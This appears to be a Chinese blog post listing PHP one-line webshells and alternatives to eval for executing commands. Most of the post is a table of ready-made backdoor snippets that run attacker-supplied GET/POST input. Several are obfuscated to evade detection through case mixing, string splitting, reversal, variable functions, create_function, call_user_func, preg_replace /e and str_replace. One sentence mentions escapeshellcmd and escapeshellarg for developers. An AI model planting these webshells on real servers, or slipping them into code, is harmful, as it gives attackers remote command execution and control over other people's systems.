一句话木马替代
一句话木马的关键便是命令的执行,同样php中也有一些命令执行函数可以代替eval,举例相应函数及使用:
assert()函数(ps:在PHP7.1版本以后,assert()默认不再可以执行代码) | |
---|---|
system()函数 | |
passthru()函数 | |
exec()函数 | |
shell_exec()函数 | |
使用反引号`执行代码(ps:要确保shell_exec函数可用,否则无法用) |
也可使用popen()函数打开进程执行命令,自行百度、尝试,这里不做举例。
如果你是开发者,当你使用这些函数来执行系统命令时,可以使用escapeshellcmd()和escapeshellarg()函数阻止用户恶意在系统上执行命令,escapeshellcmd()针对的是执行的系统命令,而escapeshellarg()针对的是执行系统命令的参数。
下面放一些比较常见的一句话木马,我们也可以根据丰富的php函数自行创造和修改(未具体尝试,如有出错欢迎评论指出)注意assert()的版本问题(上表格有提及,需要时自行修改):
普通的一句话GET方法(也可以用POST方法或者REQUEST等方法代替,下文也是如此) | |
---|---|
用php变量表示(ps:eval不能作为变量函数去执行) | <?php $a = "passthru";$a(@$_GET['pass']); ?> |
php变量表示变形1(ps:大小写混淆) | <?php $a="AssERT";$b=strtolower($a);@$b($_POST['pass']);?> |
php变量表示变形2(ps:字符串拼接) | <?php $a="e"."v";$b="a"."l";$c=$a.$b;$c($_POST['a']);?> |
php变量表示变形3(ps:字符串拼接、大小写混淆、字符串逆序) | <?php $a="TR"."Es"."sA";$b=strtolower($a);$c=strrev($b);@$c($_GET['pass']);?> |
PHP可变变量(ps:变量的变换) | <?php $b="assert";$a='b';$$a($_POST['pass']);?> `` |
使用create_function函数 | <?php $a=create_function('',$_POST['pass']);$a();?> `` |
自定义函数 | <?php function b($a){@eval($a);}@b($_POST['pass']);?> |
使用call_user_func()函数(ps:调用函数) | <?php @call_user_func(assert,$_POST['pass']);?> |
使用call_user_func_array()函数 | `<?php $array[0]=$_POST['pass'];@call_user_func_array(assert,$array);?>` |
base64_decode 函数 | |
preg_replace函数(ps:preg_replace 函数的第一个参数是一个正则表达式,后文会提到正则表达式。 如果在表达式末尾加上一个 e,则第二个参数就会被当做 php代码执行。) |
<?php function a(){return $_POST['pass'];}@preg_replace("/test/e", a(),"test1");?> |
array_map()函数(ps:array_map() 函数将用户自定义函数作用到数组中的每个值上,并返回用户自定义函数作用后的带有新的值的数组。) | |
array_filter()函数 | |
pares_str函数(ps:结果$a=eval) | <?php $str="a=eval";parse_str($str);$a($_POST['pass']);?> |
str_replace函数(ps:结果$a=assert) | <?php $a = str_replace("test", "", "astestsert");$a($_POST['pass']);?> |
uasort()函数、usort()函数 | |
动态函数 |